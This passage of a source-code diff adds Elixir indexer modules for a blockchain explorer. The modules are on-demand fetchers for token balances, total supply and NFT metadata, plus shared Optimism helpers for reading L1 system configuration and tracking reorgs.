on_conflict: :nothing, + conflict_target: [:neon_transaction_hash, :solana_transaction_hash] + ) + end) do + {:ok, _result} -> + nil + + {:error, reason} -> + Logger.warning( + "Failed to save linked Solana transactions: #{inspect(reason)} for transaction hash: #{to_string(transaction_hash)}" + ) + end + end + + @spec maybe_fetch(Explorer.Chain.Hash.t()) :: {:ok, list} | {:error, String.t()} + def maybe_fetch(transaction_hash) do + case cache(transaction_hash) do + cached_data when cached_data != [] -> + {:ok, cached_data} + + [] -> + trigger_fetch(transaction_hash) + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/on_demand/nft_collection_metadata_refetch.ex b/apps/indexer/lib/indexer/fetcher/on_demand/nft_collection_metadata_refetch.ex new file mode 100644 index 000000000000..ef4d084d4f6f --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/on_demand/nft_collection_metadata_refetch.ex @@ -0,0 +1,42 @@ +defmodule Indexer.Fetcher.OnDemand.NFTCollectionMetadataRefetch do + @moduledoc """ + Re-fetches token metadata. + """ + + require Logger + + use GenServer + use Indexer.Fetcher, restart: :permanent + + alias Explorer.Chain.Token + alias Explorer.Chain.Token.Instance, as: TokenInstance + alias Explorer.Utility.RateLimiter + + @spec trigger_refetch(String.t() | nil, Token.t()) :: :ok + def trigger_refetch(caller \\ nil, token) do + case RateLimiter.check_rate(caller, :on_demand) do + :allow -> GenServer.cast(__MODULE__, {:refetch, token}) + :deny -> :ok + end + end + + defp fetch_metadata(token) do + TokenInstance.mark_nft_collection_to_refetch(token.contract_address_hash) + end + + def start_link([init_opts, server_opts]) do + GenServer.start_link(__MODULE__, init_opts, server_opts) + end + + @impl true + def init(json_rpc_named_arguments) do + {:ok, %{json_rpc_named_arguments: json_rpc_named_arguments}} + end + + @impl true + def handle_cast({:refetch, token}, state) do + fetch_metadata(token) + + {:noreply, state} + end +end diff --git a/apps/indexer/lib/indexer/fetcher/on_demand/token_balance.ex b/apps/indexer/lib/indexer/fetcher/on_demand/token_balance.ex new file mode 100644 index 000000000000..bded260c244a --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/on_demand/token_balance.ex @@ -0,0 +1,323 @@ +defmodule Indexer.Fetcher.OnDemand.TokenBalance do + @moduledoc """ + Ensures that we have a reasonably up to date address tokens balance. + + """ + + use Indexer.Fetcher + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.Address.CurrentTokenBalance + alias Explorer.Chain.Cache.BlockNumber + alias Explorer.Chain.Cache.Counters.AverageBlockTime + alias Explorer.Chain.Events.Publisher + alias Explorer.Chain.Hash + alias Explorer.Token.BalanceReader + alias Explorer.Utility.RateLimiter + alias Indexer.BufferedTask + alias Timex.Duration + + require Logger + + @behaviour BufferedTask + + @max_batch_size 500 + @max_concurrency 4 + @defaults [ + flush_interval: :timer.seconds(3), + max_concurrency: @max_concurrency, + max_batch_size: @max_batch_size, + task_supervisor: Indexer.Fetcher.OnDemand.TokenBalance.TaskSupervisor, + metadata: [fetcher: :token_balance_on_demand] + ] + + @spec trigger_fetch(String.t() | nil, Hash.Address.t()) :: :ok + def trigger_fetch(caller \\ nil, address_hash) do + if not __MODULE__.Supervisor.disabled?() and RateLimiter.check_rate(caller, :on_demand) == :allow do + BufferedTask.buffer(__MODULE__, [{:fetch, address_hash}], false) + end + end + + @spec trigger_historic_fetch( + String.t() | nil, + Hash.t(), + Hash.t(), + String.t(), + Decimal.t() | nil, + non_neg_integer() + ) :: :ok + def trigger_historic_fetch(caller \\ nil, address_hash, contract_address_hash, token_type, token_id, block_number) do + if not __MODULE__.Supervisor.disabled?() and RateLimiter.check_rate(caller, :on_demand) == :allow do + BufferedTask.buffer( + __MODULE__, + [{:historic_fetch, {address_hash, contract_address_hash, token_type, token_id, block_number}}], + false + ) + end + end + + @doc false + def child_spec([init_options, gen_server_options]) do + merged_init_opts = + @defaults + |> Keyword.merge(init_options) + |> Keyword.put(:state, %{}) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) + end + + @impl BufferedTask + def init(initial, _, _) do + initial + end + + @impl BufferedTask + def run(entries, _) do + entries_by_type = Enum.group_by(entries, &elem(&1, 0), &elem(&1, 1)) + + latest_block_number = latest_block_number() + + fetch_data = prepare_fetch_requests(entries_by_type[:fetch], latest_block_number) + + {historic_fetch_ft_requests, historic_fetch_nft_requests} = + prepare_historic_fetch_requests(entries_by_type[:historic_fetch]) + + all_responses = + BalanceReader.get_balances_of_all( + fetch_data.ft_balances ++ historic_fetch_ft_requests, + fetch_data.nft_balances ++ historic_fetch_nft_requests + ) + + {fetch_ft_responses, other_responses} = Enum.split(all_responses, Enum.count(fetch_data.ft_balances)) + {historic_fetch_ft_responses, nft_responses} = Enum.split(other_responses, Enum.count(historic_fetch_ft_requests)) + {fetch_nft_responses, historic_fetch_nft_responses} = Enum.split(nft_responses, Enum.count(fetch_data.nft_balances)) + + (fetch_ft_responses ++ fetch_nft_responses) + |> Enum.zip(fetch_data.ft_balances ++ fetch_data.nft_balances) + |> process_fetch_responses(fetch_data.tokens, fetch_data.balances_map, latest_block_number) + + (historic_fetch_ft_responses ++ historic_fetch_nft_responses) + |> Enum.zip(historic_fetch_ft_requests ++ historic_fetch_nft_requests) + |> process_historic_fetch_responses() + + :ok + end + + defp prepare_fetch_requests(nil, _latest_block_number), + do: %{nft_balances: [], ft_balances: [], tokens: %{}, balances_map: %{}} + + defp prepare_fetch_requests(address_hashes, latest_block_number) do + initial_acc = %{nft_balances: [], ft_balances: [], tokens: %{}, balances_map: %{}} + + case stale_balance_window(latest_block_number) do + {:error, _} -> + initial_acc + + stale_balance_window -> + address_hashes + |> Enum.uniq() + |> Chain.fetch_last_token_balances_include_unfetched() + |> delete_invalid_balances() + |> Enum.filter(fn current_token_balance -> current_token_balance.block_number < stale_balance_window end) + |> prepare_ctb_params(initial_acc, latest_block_number) + end + end + + defp prepare_ctb_params(current_token_balances, initial_acc, block_number) do + Enum.reduce(current_token_balances, initial_acc, fn %{token_id: token_id} = stale_current_token_balance, acc -> + prepared_ctb = %{ + token_contract_address_hash: to_string(stale_current_token_balance.token.contract_address_hash), + address_hash: to_string(stale_current_token_balance.address_hash), + block_number: block_number, + token_id: token_id && Decimal.to_integer(token_id), + token_type: stale_current_token_balance.token_type + } + + updated_tokens = + Map.put_new( + acc[:tokens], + stale_current_token_balance.token.contract_address_hash.bytes, + stale_current_token_balance.token + ) + + result = + if stale_current_token_balance.token_type == "ERC-1155" do + Map.put(acc, :nft_balances, [prepared_ctb | acc[:nft_balances]]) + else + Map.put(acc, :ft_balances, [prepared_ctb | acc[:ft_balances]]) + end + + updated_balances_map = + Map.put( + acc[:balances_map], + ctb_to_key(stale_current_token_balance), + stale_current_token_balance.value + ) + + result + |> Map.put(:tokens, updated_tokens) + |> Map.put(:balances_map, updated_balances_map) + end) + end + + defp prepare_historic_fetch_requests(nil), do: {[], []} + + defp prepare_historic_fetch_requests(params) do + Enum.reduce(params, {[], []}, fn {address_hash, contract_address_hash, token_type, token_id, block_number}, + {regular_acc, erc_1155_acc} -> + request = %{ + token_contract_address_hash: to_string(contract_address_hash), + address_hash: to_string(address_hash), + block_number: block_number, + token_type: token_type, + token_id: token_id && Decimal.to_integer(token_id) + } + + case {token_type, token_id} do + {"ERC-404", nil} -> {[request | regular_acc], erc_1155_acc} + {"ERC-404", _token_id} -> {regular_acc, [request | erc_1155_acc]} + {"ERC-1155", _token_id} -> {regular_acc, [request | erc_1155_acc]} + {_type, _token_id} -> {[request | regular_acc], erc_1155_acc} + end + end) + end + + defp process_fetch_responses(responses, tokens, balances_map, block_number) do + filtered_current_token_balances_update_params = + responses + |> Enum.map(&prepare_updated_balance(&1, block_number)) + |> Enum.reject(&is_nil/1) + + if not Enum.empty?(filtered_current_token_balances_update_params) do + {:ok, + %{ + address_current_token_balances: imported_ctbs + }} = + Chain.import(%{ + address_current_token_balances: %{ + params: filtered_current_token_balances_update_params + }, + broadcast: false + }) + + imported_ctbs + |> filter_imported_ctbs(balances_map) + |> Enum.group_by(& &1.address_hash) + |> Enum.each(fn {address_hash, ctbs} -> + Publisher.broadcast( + %{ + address_current_token_balances: %{ + address_hash: to_string(address_hash), + address_current_token_balances: + Enum.map(ctbs, fn ctb -> + %CurrentTokenBalance{ctb | token: tokens[ctb.token_contract_address_hash.bytes]} + end) + } + }, + :on_demand + ) + end) + end + end + + defp process_historic_fetch_responses([]), do: :ok + + defp process_historic_fetch_responses(responses) do + import_params = + Enum.reduce(responses, [], fn + {{:ok, balance}, request}, acc -> + params = %{ + address_hash: request.address_hash, + token_contract_address_hash: request.token_contract_address_hash, + token_type: request.token_type, + token_id: request.token_id, + block_number: request.block_number, + value: Decimal.new(balance), + value_fetched_at: DateTime.utc_now() + } + + [params | acc] + + {{:error, error}, request}, acc -> + Logger.error("Error while fetching token balances: #{inspect(error)}, request: #{inspect(request)}") + acc + end) + + Chain.import(%{address_token_balances: %{params: import_params}, broadcast: :on_demand}) + end + + defp delete_invalid_balances(current_token_balances) do + {invalid_balances, valid_balances} = Enum.split_with(current_token_balances, &is_nil(&1.token_type)) + Enum.each(invalid_balances, &Repo.delete/1) + valid_balances + end + + defp filter_imported_ctbs(imported_ctbs, balances_map) do + Enum.filter(imported_ctbs, fn ctb -> + if balance = balances_map[ctb_to_key(ctb)] do + Decimal.compare(balance, ctb.value) != :eq + else + Logger.error("Imported unknown balance") + true + end + end) + end + + defp ctb_to_key(ctb) do + {ctb.token_contract_address_hash.bytes, ctb.token_type, ctb.token_id && Decimal.to_integer(ctb.token_id)} + end + + defp prepare_updated_balance({{:ok, updated_balance}, stale_current_token_balance}, block_number) do + %{} + |> Map.put(:address_hash, stale_current_token_balance.address_hash) + |> Map.put(:token_contract_address_hash, stale_current_token_balance.token_contract_address_hash) + |> Map.put(:token_type, stale_current_token_balance.token_type) + |> Map.put(:token_id, stale_current_token_balance.token_id) + |> Map.put(:block_number, block_number) + |> Map.put(:value, Decimal.new(updated_balance)) + |> Map.put(:value_fetched_at, DateTime.utc_now()) + end + + defp prepare_updated_balance({{:error, error}, ctb}, block_number) do + error_message = + if ctb.token_id do + "Error on updating current token #{to_string(ctb.token_contract_address_hash)} balance for address #{to_string(ctb.address_hash)} and token id #{to_string(ctb.token_id)} at block number #{block_number}: " + else + "Error on updating current token #{to_string(ctb.token_contract_address_hash)} balance for address #{to_string(ctb.address_hash)} at block number #{block_number}: " + end + + Logger.warning(fn -> + [ + error_message, + inspect(error) + ] + end) + + nil + end + + defp latest_block_number do + BlockNumber.get_max() + end + + defp stale_balance_window(block_number) do + case AverageBlockTime.average_block_time() do + {:error, :disabled} -> + fallback_threshold_in_blocks = Application.get_env(:indexer, __MODULE__)[:fallback_threshold_in_blocks] + block_number - fallback_threshold_in_blocks + + duration -> + average_block_time = + duration + |> Duration.to_milliseconds() + |> round() + + if average_block_time == 0 do + {:error, :empty_database} + else + threshold = Application.get_env(:indexer, __MODULE__)[:threshold] + block_number - div(threshold, average_block_time) + end + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/on_demand/token_instance_metadata_refetch.ex b/apps/indexer/lib/indexer/fetcher/on_demand/token_instance_metadata_refetch.ex new file mode 100644 index 000000000000..7a1bb17299d0 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/on_demand/token_instance_metadata_refetch.ex @@ -0,0 +1,132 @@ +defmodule Indexer.Fetcher.OnDemand.TokenInstanceMetadataRefetch do + @moduledoc """ + Re-fetches token instance metadata. + """ + + require Logger + + use GenServer + use Indexer.Fetcher, restart: :permanent + + alias EthereumJSONRPC.NFT + alias Explorer.Chain.Cache.Counters.Helper, as: CountersHelper + alias Explorer.Chain.Events.Publisher + alias Explorer.Chain.Token.Instance, as: TokenInstance + alias Explorer.Utility.{RateLimiter, TokenInstanceMetadataRefetchAttempt} + alias Indexer.Fetcher.TokenInstance.Helper + alias Indexer.NFTMediaHandler.Queue + + @max_delay :timer.hours(168) + + @spec trigger_refetch(String.t() | nil, TokenInstance.t()) :: :ok + def trigger_refetch(caller \\ nil, token_instance) do + case RateLimiter.check_rate(caller, :on_demand) do + :allow -> GenServer.cast(__MODULE__, {:refetch, token_instance}) + :deny -> :ok + end + end + + defp fetch_metadata(token_instance) do + with {:retries_number, {retries_number, updated_at}} <- + {:retries_number, + TokenInstanceMetadataRefetchAttempt.get_retries_number( + token_instance.token_contract_address_hash, + token_instance.token_id + )}, + updated_at_ms = DateTime.to_unix(updated_at, :millisecond), + {:retry, true} <- + {:retry, + CountersHelper.current_time() - updated_at_ms > + threshold(retries_number)} do + fetch_and_broadcast_metadata(token_instance) + else + {:retries_number, nil} -> + fetch_and_broadcast_metadata(token_instance) + + {:retry, false} -> + Publisher.broadcast( + %{ + not_fetched_token_instance_metadata: [ + to_string(token_instance.token_contract_address_hash), + NFT.prepare_token_id(token_instance.token_id), + "retry_cooldown" + ] + }, + :on_demand + ) + + :ok + end + end + + defp fetch_and_broadcast_metadata( + %{token_id: token_id, token_contract_address_hash: token_contract_address_hash} = token_instance + ) do + case Helper.batch_prepare_instances_insert_params([ + %{contract_address_hash: token_contract_address_hash, token_id: token_id} + ]) do + [%{error: nil, metadata: metadata} = result] -> + TokenInstance.set_metadata(token_instance, result) + + Publisher.broadcast( + %{ + fetched_token_instance_metadata: [ + to_string(token_contract_address_hash), + NFT.prepare_token_id(token_id), + metadata + ] + }, + :on_demand + ) + + Queue.process_new_instances([%TokenInstance{token_instance | metadata: metadata}]) + + [%{error: error}] -> + Logger.error(fn -> + "Error while refetching metadata for {#{token_contract_address_hash}, #{token_id}}: #{inspect(error)}" + end) + + Publisher.broadcast( + %{ + not_fetched_token_instance_metadata: [ + to_string(token_contract_address_hash), + NFT.prepare_token_id(token_id), + "error" + ] + }, + :on_demand + ) + + TokenInstanceMetadataRefetchAttempt.insert_retries_number( + token_contract_address_hash, + token_id + ) + end + end + + def start_link([init_opts, server_opts]) do + GenServer.start_link(__MODULE__, init_opts, server_opts) + end + + @impl true + def init(json_rpc_named_arguments) do + {:ok, %{json_rpc_named_arguments: json_rpc_named_arguments}} + end + + @impl true + def handle_cast({:refetch, token_instance}, state) do + fetch_metadata(token_instance) + + {:noreply, state} + end + + defp update_threshold_ms do + Application.get_env(:indexer, __MODULE__)[:threshold] + end + + defp threshold(retries_number) do + delay_in_ms = trunc(update_threshold_ms() * :math.pow(2, retries_number)) + + min(delay_in_ms, @max_delay) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/on_demand/token_total_supply.ex b/apps/indexer/lib/indexer/fetcher/on_demand/token_total_supply.ex new file mode 100644 index 000000000000..ca1406b71253 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/on_demand/token_total_supply.ex @@ -0,0 +1,67 @@ +defmodule Indexer.Fetcher.OnDemand.TokenTotalSupply do + @moduledoc """ + Ensures that we have a reasonably up to date token supply. + """ + + use GenServer + use Indexer.Fetcher, restart: :permanent + + alias Explorer.Chain.Cache.BlockNumber + alias Explorer.Chain.Events.Publisher + alias Explorer.Chain.{Hash, Token} + alias Explorer.Repo + alias Explorer.Token.MetadataRetriever + alias Explorer.Utility.RateLimiter + + @ttl_in_blocks 1 + + ## Interface + + @spec trigger_fetch(String.t() | nil, Hash.Address.t()) :: :ok + def trigger_fetch(caller \\ nil, address_hash) do + case RateLimiter.check_rate(caller, :on_demand) do + :allow -> GenServer.cast(__MODULE__, {:fetch_and_update, address_hash}) + :deny -> :ok + end + end + + ## Callbacks + + def start_link([init_opts, server_opts]) do + GenServer.start_link(__MODULE__, init_opts, server_opts) + end + + @impl true + def init(init_arg) do + {:ok, init_arg} + end + + @impl true + def handle_cast({:fetch_and_update, address_hash}, state) do + do_fetch(address_hash) + + {:noreply, state} + end + + ## Implementation + + defp do_fetch(address_hash) when not is_nil(address_hash) do + token = Repo.replica().get_by(Token, contract_address_hash: address_hash) + + if (token && !token.skip_metadata && is_nil(token.total_supply_updated_at_block)) or + (token && !is_nil(token.total_supply_updated_at_block) && + BlockNumber.get_max() - token.total_supply_updated_at_block > @ttl_in_blocks) do + token_address_hash_string = to_string(address_hash) + + token_params = MetadataRetriever.get_total_supply_of(token_address_hash_string) + + if token_params !== %{} do + {:ok, token} = Token.update(token, token_params) + + Publisher.broadcast(%{token_total_supply: [token]}, :on_demand) + end + + :ok + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/optimism.ex b/apps/indexer/lib/indexer/fetcher/optimism.ex new file mode 100644 index 000000000000..16d64816a0de --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/optimism.ex @@ -0,0 +1,644 @@ +defmodule Indexer.Fetcher.Optimism do + @moduledoc """ + Contains common functions for Optimism* fetchers. + """ + + use GenServer + use Indexer.Fetcher + + require Logger + + import EthereumJSONRPC, + only: [ + json_rpc: 2, + id_to_params: 1, + integer_to_quantity: 1, + quantity_to_integer: 1 + ] + + alias EthereumJSONRPC.Block.{ByHash, ByNumber} + alias EthereumJSONRPC.{Blocks, Contract} + alias Explorer.Chain.Cache.ChainId + alias Explorer.Chain.Cache.Counters.LastFetchedCounter + alias Explorer.Chain.RollupReorgMonitorQueue + alias Explorer.Repo + alias Indexer.Fetcher.RollupL1ReorgMonitor + alias Indexer.Helper + + @empty_hash "0x0000000000000000000000000000000000000000000000000000000000000000" + + def child_spec(start_link_arguments) do + spec = %{ + id: __MODULE__, + start: {__MODULE__, :start_link, start_link_arguments}, + restart: :transient, + type: :worker + } + + Supervisor.child_spec(spec, []) + end + + def start_link(args, gen_server_options \\ []) do + GenServer.start_link(__MODULE__, args, Keyword.put_new(gen_server_options, :name, __MODULE__)) + end + + @impl GenServer + def init(_args) do + :ignore + end + + @doc """ + Fetches the chain id from the RPC (or cache). + + ## Parameters + - `retry_attempt`: How many retries have already been done. + + ## Returns + - The chain id as unsigned integer. + - `nil` if the request failed. + """ + @spec fetch_chain_id(non_neg_integer()) :: non_neg_integer() | nil + def fetch_chain_id(retry_attempt \\ 0) do + case ChainId.get_id() do + nil -> + Logger.error("Cannot read `eth_chainId`. Retrying...") + Helper.pause_before_retry(retry_attempt) + fetch_chain_id(retry_attempt + 1) + + chain_id -> + chain_id + end + end + + @doc """ + Does initializations for `Indexer.Fetcher.Optimism.WithdrawalEvent`, `Indexer.Fetcher.Optimism.OutputRoot`, or + `Indexer.Fetcher.Optimism.Deposit` module. Contains common code used by these modules. + + ## Parameters + - `output_oracle`: An address of L2OutputOracle contract on L1. + Must be `nil` if the `caller` is not `Indexer.Fetcher.Optimism.OutputRoot` module. + - `caller`: The module that called this function. + + ## Returns + - A resulting map for the `handle_continue` handler of the calling module. + """ + @spec init_continue(binary() | nil, module()) :: {:noreply, map()} | {:stop, :normal, %{}} + def init_continue(output_oracle, caller) + when caller in [ + Indexer.Fetcher.Optimism.Deposit, + Indexer.Fetcher.Optimism.WithdrawalEvent, + Indexer.Fetcher.Optimism.OutputRoot + ] do + if caller != Indexer.Fetcher.Optimism.OutputRoot do + # two seconds pause needed to avoid exceeding Supervisor restart intensity when DB issues + :timer.sleep(2000) + end + + {contract_name, table_name, start_block_note} = + case caller do + Indexer.Fetcher.Optimism.Deposit -> + {"Optimism Portal", "op_deposits", "Deposits"} + + Indexer.Fetcher.Optimism.WithdrawalEvent -> + {"Optimism Portal", "op_withdrawal_events", "Withdrawals L1"} + + _ -> + {"Output Oracle", "op_output_roots", "Output Roots"} + end + + optimism_env = Application.get_all_env(:indexer)[__MODULE__] + system_config = optimism_env[:optimism_l1_system_config] + optimism_l1_rpc = l1_rpc_url() + + with {:system_config_valid, true} <- {:system_config_valid, Helper.address_correct?(system_config)}, + _ <- RollupL1ReorgMonitor.wait_for_start(caller), + {:rpc_l1_undefined, false} <- {:rpc_l1_undefined, is_nil(optimism_l1_rpc)}, + json_rpc_named_arguments = Helper.json_rpc_named_arguments(optimism_l1_rpc), + {optimism_portal, start_block_l1} <- read_system_config(system_config, json_rpc_named_arguments), + {:contract_is_valid, true} <- + {:contract_is_valid, caller != Indexer.Fetcher.Optimism.OutputRoot or Helper.address_correct?(output_oracle)}, + true <- start_block_l1 > 0, + {last_l1_block_number, last_l1_transaction_hash, last_l1_transaction} <- + caller.get_last_l1_item(json_rpc_named_arguments), + {:start_block_l1_valid, true} <- + {:start_block_l1_valid, start_block_l1 <= last_l1_block_number || last_l1_block_number == 0}, + {:l1_transaction_not_found, false} <- + {:l1_transaction_not_found, !is_nil(last_l1_transaction_hash) && is_nil(last_l1_transaction)}, + {:ok, block_check_interval, last_safe_block} <- Helper.get_block_check_interval(json_rpc_named_arguments) do + contract_address = + if caller == Indexer.Fetcher.Optimism.OutputRoot do + output_oracle + else + optimism_portal + end + + start_block = max(start_block_l1, last_l1_block_number) + + Process.send(self(), :continue, []) + + {:noreply, + %{ + contract_address: contract_address, + block_check_interval: block_check_interval, + start_block: start_block, + end_block: last_safe_block, + json_rpc_named_arguments: json_rpc_named_arguments, + eth_get_logs_range_size: optimism_env[:l1_eth_get_logs_range_size], + stop: false + }} + else + {:rpc_l1_undefined, true} -> + Logger.error("L1 RPC URL is not defined.") + {:stop, :normal, %{}} + + {:system_config_valid, false} -> + Logger.error("SystemConfig contract address is invalid or undefined.") + {:stop, :normal, %{}} + + {:contract_is_valid, false} -> + Logger.error("#{contract_name} contract address is invalid or not defined.") + {:stop, :normal, %{}} + + {:start_block_l1_valid, false} -> + Logger.error("Invalid L1 Start Block value. Please, check the value and #{table_name} table.") + {:stop, :normal, %{}} + + {:error, error_data} -> + Logger.error( + "Cannot get last L1 transaction from RPC by its hash, last safe/latest block, or block timestamp by its number due to RPC error: #{inspect(error_data)}" + ) + + {:stop, :normal, %{}} + + {:l1_transaction_not_found, true} -> + Logger.error( + "Cannot find last L1 transaction from RPC by its hash. Probably, there was a reorg on L1 chain. Please, check #{table_name} table." + ) + + {:stop, :normal, %{}} + + nil -> + Logger.error("Cannot read SystemConfig contract and fallback envs are not correctly defined.") + {:stop, :normal, %{}} + + _ -> + Logger.error("#{start_block_note} Start Block is invalid or zero.") + {:stop, :normal, %{}} + end + end + + @doc """ + Reads some public getters of SystemConfig contract and returns retrieved values. + Gets `OptimismPortal` contract address from the `SystemConfig` contract and + the number of a start block (from which all Optimism fetchers should start). + + If SystemConfig has obsolete implementation, the values are fallen back from the corresponding + env variables (INDEXER_OPTIMISM_L1_PORTAL_CONTRACT and INDEXER_OPTIMISM_L1_START_BLOCK). + + ## Parameters + - `contract_address`: An address of SystemConfig contract. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + - A tuple of OptimismPortal contract address and start block: {optimism_portal, start_block}. + - `nil` in case of error. + """ + @spec read_system_config(binary(), list()) :: {binary(), non_neg_integer()} | nil + def read_system_config(contract_address, json_rpc_named_arguments) do + requests = [ + # optimismPortal() public getter + Contract.eth_call_request("0x0a49cb03", contract_address, 0, nil, nil), + # startBlock() public getter + Contract.eth_call_request("0x48cd4cb1", contract_address, 1, nil, nil) + ] + + error_message = &"Cannot call public getters of SystemConfig. Error: #{inspect(&1)}" + + env = Application.get_all_env(:indexer)[__MODULE__] + fallback_start_block = env[:start_block_l1] + + {optimism_portal, start_block} = + case Helper.repeated_call( + &json_rpc/2, + [requests, json_rpc_named_arguments], + error_message, + Helper.finite_retries_number() + ) do + {:ok, responses} -> + optimism_portal_result = Map.get(Enum.at(responses, 0), :result) + + optimism_portal = + with {:nil_result, true, _} <- {:nil_result, is_nil(optimism_portal_result), optimism_portal_result}, + {:fallback_defined, true} <- {:fallback_defined, Helper.address_correct?(env[:portal])} do + env[:portal] + else + {:nil_result, false, portal} -> + "0x000000000000000000000000" <> optimism_portal = portal + "0x" <> optimism_portal + + {:fallback_defined, false} -> + nil + end + + start_block = + responses + |> Enum.at(1) + |> Map.get(:result, fallback_start_block) + |> quantity_to_integer() + + {optimism_portal, start_block} + + _ -> + {env[:portal], fallback_start_block} + end + + if Helper.address_correct?(optimism_portal) and !is_nil(start_block) do + {String.downcase(optimism_portal), start_block} + end + end + + @doc """ + Returns L1 RPC URL for an OP module. + """ + @spec l1_rpc_url() :: binary() | nil + def l1_rpc_url do + Application.get_all_env(:indexer)[__MODULE__][:optimism_l1_rpc] + end + + @doc """ + Determines if `Indexer.Fetcher.RollupL1ReorgMonitor` module must be up + before an OP fetcher starts. + + ## Returns + - `true` if the reorg monitor must be active, `false` otherwise. + """ + @spec requires_l1_reorg_monitor?() :: boolean() + def requires_l1_reorg_monitor? do + optimism_config = Application.get_all_env(:indexer)[__MODULE__] + not is_nil(optimism_config[:optimism_l1_system_config]) + end + + @doc """ + Updates the last handled block hash by a fetcher. + The new block hash is written to the `last_fetched_counters` table. + + ## Parameters + - `block_hash`: The hash of the block in the form of `0x` string. + - `counter_type`: Name of a record in the `last_fetched_counters` table to set the last known block hash to. + + ## Returns + - nothing + """ + @spec set_last_block_hash(binary(), binary()) :: any() + def set_last_block_hash(nil, _), do: nil + + def set_last_block_hash(block_hash, counter_type) do + {block_hash_integer, ""} = + block_hash + |> String.trim_leading("0x") + |> Integer.parse(16) + + LastFetchedCounter.upsert(%{ + counter_type: counter_type, + value: block_hash_integer + }) + end + + @doc """ + Updates the last handled block hash by a fetcher. + The new block hash is written to the `last_fetched_counters` table. + This function accepts the block number for which the block hash must be determined. + If RPC node returns `nil` as the successful result, this function doesn't do anything. + + ## Parameters + - `block_number`: The number of the block. + - `counter_type`: Name of a record in the `last_fetched_counters` table to set the last known block hash to. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + + ## Returns + - nothing + """ + @spec set_last_block_hash_by_number(non_neg_integer(), binary(), EthereumJSONRPC.json_rpc_named_arguments()) :: any() + def set_last_block_hash_by_number(block_number, counter_type, json_rpc_named_arguments) do + block = + [block_number] + |> get_blocks_by_numbers(json_rpc_named_arguments, Helper.infinite_retries_number()) + |> List.first() + + if not is_nil(block) do + block + |> Map.get("hash") + |> set_last_block_hash(counter_type) + end + end + + @doc """ + Takes the last block hash from the `last_fetched_counters` table for the given counter type, + gets its number using RPC request, and returns the number. Returns `nil` if the last block hash is not defined in the `last_fetched_counters` table, + or the block hash is not valid anymore (due to a reorg), or the block number cannot be retrieved from RPC. + + If the number cannot be retrieved using this function, the calling code must use another approach to get the last block number, + e.g. getting the last entity row from the corresponding database table. + + ## Parameters + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. If `nil`, the function does nothing and returns `nil`. + - `counter_type`: The counter type to read the last counter for. + + ## Returns + - The integer block number in case of success. + - `nil` otherwise. + """ + @spec get_last_block_number_from_last_fetched_counter(EthereumJSONRPC.json_rpc_named_arguments() | nil, binary()) :: + non_neg_integer() | nil + def get_last_block_number_from_last_fetched_counter(nil, _), do: nil + + def get_last_block_number_from_last_fetched_counter(json_rpc_named_arguments, counter_type) do + last_block_hash = + "0x" <> + (counter_type + |> LastFetchedCounter.get() + |> Decimal.to_integer() + |> Integer.to_string(16) + |> String.pad_leading(64, "0")) + + if last_block_hash != @empty_hash do + case get_block_by_hash(last_block_hash, json_rpc_named_arguments) do + {:ok, nil} -> + # it seems there was a reorg, so we need to reset the block hash in the counter + # and then use another approach taking the block number from a corresponding table + set_last_block_hash(@empty_hash, counter_type) + nil + + {:ok, last_block} -> + # the block hash is actual, so use the block number + last_block + |> Map.get("number") + |> quantity_to_integer() + + {:error, _} -> + # something went wrong, so use another approach + nil + end + end + end + + @doc """ + Determines the last saved block number, the last saved transaction hash, and the transaction info for + a certain entity defined by the passed functions. + + Used by the OP fetcher modules to start fetching from a correct block number + after reorg has occurred. + + ## Parameters + - `layer`: Just for logging purposes. Can be `:L1` or `:L2` depending on the layer of the entity. + - `last_block_number_query_fun`: A function which will be called to form database query + to get the latest item in the corresponding database table. + - `remove_query_fun`: A function which will be called to form database query to remove the entity rows + created due to reorg from the corresponding table. + - `json_rpc_named_arguments`: Configuration parameters for the JSON RPC connection. + Used to get transaction info by its hash from the RPC node. + Can be `nil` if the transaction info is not needed. + - `counter_type`: Name of a record in the `last_fetched_counters` table to read the last known block hash from. + + ## Returns + - A tuple `{last_block_number, last_transaction_hash, last_transaction}` where + `last_block_number` is the last block number found in the corresponding table (0 if not found), + `last_transaction_hash` is the last transaction hash found in the corresponding table (nil if not found), + `last_transaction` is the transaction info got from the RPC (nil if not found or not needed). + - A tuple `{:error, message}` in case the `eth_getTransactionByHash` RPC request failed. + """ + @spec get_last_item(:L1 | :L2, function(), function(), EthereumJSONRPC.json_rpc_named_arguments() | nil, binary()) :: + {non_neg_integer(), binary() | nil, map() | nil} | {:error, any()} + def get_last_item(layer, last_block_number_query_fun, remove_query_fun, json_rpc_named_arguments, counter_type) + when is_function(last_block_number_query_fun, 0) and is_function(remove_query_fun, 1) do + last_block_number = get_last_block_number_from_last_fetched_counter(json_rpc_named_arguments, counter_type) + + if is_nil(last_block_number) do + {last_block_number, last_transaction_hash} = + last_block_number_query_fun.() + |> Repo.one() + |> Kernel.||({0, nil}) + + with {:empty_hash, false} <- {:empty_hash, is_nil(last_transaction_hash)}, + {:empty_json_rpc_named_arguments, false} <- + {:empty_json_rpc_named_arguments, is_nil(json_rpc_named_arguments)}, + {:ok, last_transaction} <- Helper.get_transaction_by_hash(last_transaction_hash, json_rpc_named_arguments), + {:empty_transaction, false} <- {:empty_transaction, is_nil(last_transaction)} do + {last_block_number, last_transaction_hash, last_transaction} + else + {:empty_hash, true} -> + {last_block_number, nil, nil} + + {:empty_json_rpc_named_arguments, true} -> + {last_block_number, last_transaction_hash, nil} + + {:error, _} = error -> + error + + {:empty_transaction, true} -> + Logger.error( + "Cannot find last #{layer} transaction from RPC by its hash (#{last_transaction_hash}). Probably, there was a reorg on #{layer} chain. Trying to check preceding transaction..." + ) + + last_block_number + |> remove_query_fun.() + |> 